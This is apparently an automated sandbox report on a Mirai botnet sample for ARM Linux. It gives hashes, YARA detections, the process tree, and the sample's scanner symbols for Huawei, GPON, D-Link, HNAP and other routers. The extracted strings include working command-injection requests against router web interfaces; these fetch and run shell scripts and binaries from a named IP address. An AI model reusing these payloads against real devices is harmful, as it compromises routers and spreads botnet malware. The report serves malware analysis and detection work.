Edit tour

Linux Analysis Report
vmDskLsKEA

Overview

General Information

Sample Name:	vmDskLsKEA
Analysis ID:	679611
MD5:	342a4469d06b1438b3833d1ab38acc33
SHA1:	b5fbf4cd5a4809fd06e92fa77bfdd92a408770d6
SHA256:	82c8487ec2c35eb44d47a6068c65360aa23dd17324d4954b04985856c060aab2
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	68
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Contains symbols with names commonly found in malware

Yara signature match

Sample contains strings that are potentially command strings

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Sample and/or dropped files contains symbols with suspicious names

Sample listens on a socket

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679611
Start date and time: 06/08/202206:07:04	2022-08-06 06:07:04 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	vmDskLsKEA
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal68.troj.lin@0/0@0/0

Warnings

VT rate limit hit for: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI

Runtime Messages

Command:	/tmp/vmDskLsKEA
PID:	6225
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Connected To CNC
Standard Error:

Process Tree

system is lnxubuntu20

vmDskLsKEA (PID: 6225, Parent: 6124, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/vmDskLsKEA

vmDskLsKEA New Fork (PID: 6227, Parent: 6225)

vmDskLsKEA New Fork (PID: 6228, Parent: 6225)

vmDskLsKEA New Fork (PID: 6229, Parent: 6225)

vmDskLsKEA New Fork (PID: 6236, Parent: 6229)

vmDskLsKEA New Fork (PID: 6238, Parent: 6229)

vmDskLsKEA New Fork (PID: 6240, Parent: 6229)

vmDskLsKEA New Fork (PID: 6243, Parent: 6229)

vmDskLsKEA New Fork (PID: 6244, Parent: 6229)

vmDskLsKEA New Fork (PID: 6246, Parent: 6229)

vmDskLsKEA New Fork (PID: 6247, Parent: 6229)

vmDskLsKEA New Fork (PID: 6248, Parent: 6229)

vmDskLsKEA New Fork (PID: 6252, Parent: 6229)

vmDskLsKEA New Fork (PID: 6253, Parent: 6229)

vmDskLsKEA New Fork (PID: 6257, Parent: 6229)

vmDskLsKEA New Fork (PID: 6258, Parent: 6229)

vmDskLsKEA New Fork (PID: 6260, Parent: 6229)

vmDskLsKEA New Fork (PID: 6261, Parent: 6229)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
vmDskLsKEA	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x20da0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20e10:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20e80:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20ef0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20f60:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x211d0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21224:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21278:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x212cc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21320:$xo1: oMXKNNC\x0D\x17\x0C\x12
vmDskLsKEA	MAL_ARM_LNX_Mirai_Mar13_2022	Detects new ARM Mirai variant	Mehmet Ali Kerimoglu a.k.a. CYB3RMX	0x23063:$str1: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm 0x2312c:$str1: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm 0x231f5:$str1: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm 0x23063:$str2: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm 0x2312c:$str2: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm 0x231f5:$str2: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm 0x23063:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x2312c:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x231f5:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x24596:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x2541b:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x254ce:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x2558d:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x2561c:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x25a4e:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x25aec:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x26797:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x2685a:$str3: /home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm 0x2566a:$str4: /home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv6l/bin/../cc/include 0x25b3a:$str4: /home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv6l/bin/../cc/include 0x2d695:$attck1: attack.c
vmDskLsKEA	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6225.1.00007f99dc042000.00007f99dc047000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x3bf0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x3c68:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x3ce0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x3d58:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x3dd0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x4060:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x40b8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x4110:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x4168:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x41c0:$xo1: oMXKNNC\x0D\x17\x0C\x12
6228.1.00007f99dc042000.00007f99dc047000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x3bf0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x3c68:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x3ce0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x3d58:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x3dd0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x4060:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x40b8:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x4110:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x4168:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x41c0:$xo1: oMXKNNC\x0D\x17\x0C\x12
6228.1.00007f99dc017000.00007f99dc039000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x20da0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20e10:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20e80:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20ef0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20f60:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x211d0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21224:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21278:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x212cc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21320:$xo1: oMXKNNC\x0D\x17\x0C\x12
6228.1.00007f99dc017000.00007f99dc039000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6225.1.00007f99dc017000.00007f99dc039000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x20da0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20e10:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20e80:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20ef0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x20f60:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x211d0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21224:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21278:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x212cc:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x21320:$xo1: oMXKNNC\x0D\x17\x0C\x12
6225.1.00007f99dc017000.00007f99dc039000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Click to see the 1 entries

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: vmDskLsKEA

Avira: detected

Multi AV Scanner detection for submitted file

Source: vmDskLsKEA

Virustotal: Detection: 59%

Perma Link

Source: /tmp/vmDskLsKEA (PID: 6225)

Socket: 127.0.0.1::44455

Jump to behavior

Source: vmDskLsKEA	String found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
Source: vmDskLsKEA	String found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
Source: vmDskLsKEA	String found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
Source: vmDskLsKEA	String found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
Source: vmDskLsKEA	String found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
Source: vmDskLsKEA	String found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
Source: vmDskLsKEA	String found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
Source: vmDskLsKEA	String found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
Source: vmDskLsKEA	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: vmDskLsKEA	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: vmDskLsKEA	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_app_http
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_get_opt_str
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_method.c
Source: ELF static info symbol of initial sample	Name: attack_method_std
Source: ELF static info symbol of initial sample	Name: attack_method_tcp
Source: ELF static info symbol of initial sample	Name: attack_method_tcpfrag

Source: vmDskLsKEA, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: vmDskLsKEA, type: SAMPLE	Matched rule: MAL_ARM_LNX_Mirai_Mar13_2022 date = 2022-03-16, hash1 = 0283b72913b8a78b2a594b2d40ebc3c873e4823299833a1ff6854421378f5a68, author = Mehmet Ali Kerimoglu a.k.a. CYB3RMX, description = Detects new ARM Mirai variant
Source: 6225.1.00007f99dc042000.00007f99dc047000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6228.1.00007f99dc042000.00007f99dc047000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6228.1.00007f99dc017000.00007f99dc039000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6225.1.00007f99dc017000.00007f99dc039000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13

Source: Initial sample	Potential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114'$ HTTP/1.1
Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+;wget+46.23.109.47/Cloud/Jaws.sh;chmod+777+;sh+Jaws.sh HTTP/1.1
Source: Initial sample	Potential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink

Source: vmDskLsKEA	ELF static info symbol of initial sample: __gnu_unwind_execute
Source: vmDskLsKEA	ELF static info symbol of initial sample: asus_scanner_init
Source: vmDskLsKEA	ELF static info symbol of initial sample: asus_scanner_pid
Source: vmDskLsKEA	ELF static info symbol of initial sample: asus_scanner_rawpkt
Source: vmDskLsKEA	ELF static info symbol of initial sample: comtrend_scanner
Source: vmDskLsKEA	ELF static info symbol of initial sample: comtrend_scanner_pid
Source: vmDskLsKEA	ELF static info symbol of initial sample: comtrend_scanner_rawpkt
Source: vmDskLsKEA	ELF static info symbol of initial sample: dlink_scanner.c
Source: vmDskLsKEA	ELF static info symbol of initial sample: dlinkscanner_fake_time
Source: vmDskLsKEA	ELF static info symbol of initial sample: dlinkscanner_rsck
Source: vmDskLsKEA	ELF static info symbol of initial sample: dlinkscanner_scanner_init
Source: vmDskLsKEA	ELF static info symbol of initial sample: dlinkscanner_scanner_pid
Source: vmDskLsKEA	ELF static info symbol of initial sample: dlinkscanner_scanner_rawpkt
Source: vmDskLsKEA	ELF static info symbol of initial sample: dlinkscanner_setup_connection
Source: vmDskLsKEA	ELF static info symbol of initial sample: gpon443_scanner
Source: vmDskLsKEA	ELF static info symbol of initial sample: gpon443_scanner_pid
Source: vmDskLsKEA	ELF static info symbol of initial sample: gpon443_scanner_rawpkt
Source: vmDskLsKEA	ELF static info symbol of initial sample: gpon80_scanner
Source: vmDskLsKEA	ELF static info symbol of initial sample: gpon80_scanner.c
Source: vmDskLsKEA	ELF static info symbol of initial sample: gpon80_scanner_pid
Source: vmDskLsKEA	ELF static info symbol of initial sample: gpon80_scanner_rawpkt
Source: vmDskLsKEA	ELF static info symbol of initial sample: hnap_scanner.c
Source: vmDskLsKEA	ELF static info symbol of initial sample: hnapscanner_fake_time
Source: vmDskLsKEA	ELF static info symbol of initial sample: hnapscanner_rsck
Source: vmDskLsKEA	ELF static info symbol of initial sample: hnapscanner_scanner_init
Source: vmDskLsKEA	ELF static info symbol of initial sample: hnapscanner_scanner_pid
Source: vmDskLsKEA	ELF static info symbol of initial sample: hnapscanner_scanner_rawpkt
Source: vmDskLsKEA	ELF static info symbol of initial sample: hnapscanner_setup_connection
Source: vmDskLsKEA	ELF static info symbol of initial sample: huawei_scanner_pid
Source: vmDskLsKEA	ELF static info symbol of initial sample: huawei_scanner_rawpkt

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0

Source: classification engine

Classification label: mal68.troj.lin@0/0@0/0

Source: /tmp/vmDskLsKEA (PID: 6229)

Reads from proc file: /proc/stat

Jump to behavior

Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6236/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6235/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1582/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2033/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2275/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/3088/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6191/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6190/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1612/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1579/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1699/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1335/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1698/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2028/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1334/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1576/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2302/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/3236/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2025/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2146/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/910/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/912/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6229/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/517/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/759/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2307/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/918/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6240/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6243/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6244/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6247/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6246/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1594/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2285/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2281/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1349/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1623/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/761/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1622/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/884/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1983/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2038/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1344/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1465/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1586/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1463/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2156/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6238/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/801/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1629/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1627/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1900/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6252/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6253/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6258/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6257/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/3021/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/491/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2294/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2050/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1877/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/772/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1633/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1599/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1632/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/774/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1477/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/654/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/896/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1476/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1872/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2048/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/655/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1475/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2289/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/656/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/777/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/657/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/4466/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/658/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/4467/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6248/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/4468/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/4469/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/4502/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/419/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/936/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1639/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1638/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2208/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2180/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1809/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1494/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/1890/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2063/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/2062/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6261/exe	Jump to behavior
Source: /tmp/vmDskLsKEA (PID: 6227)	File opened: /proc/6260/exe	Jump to behavior
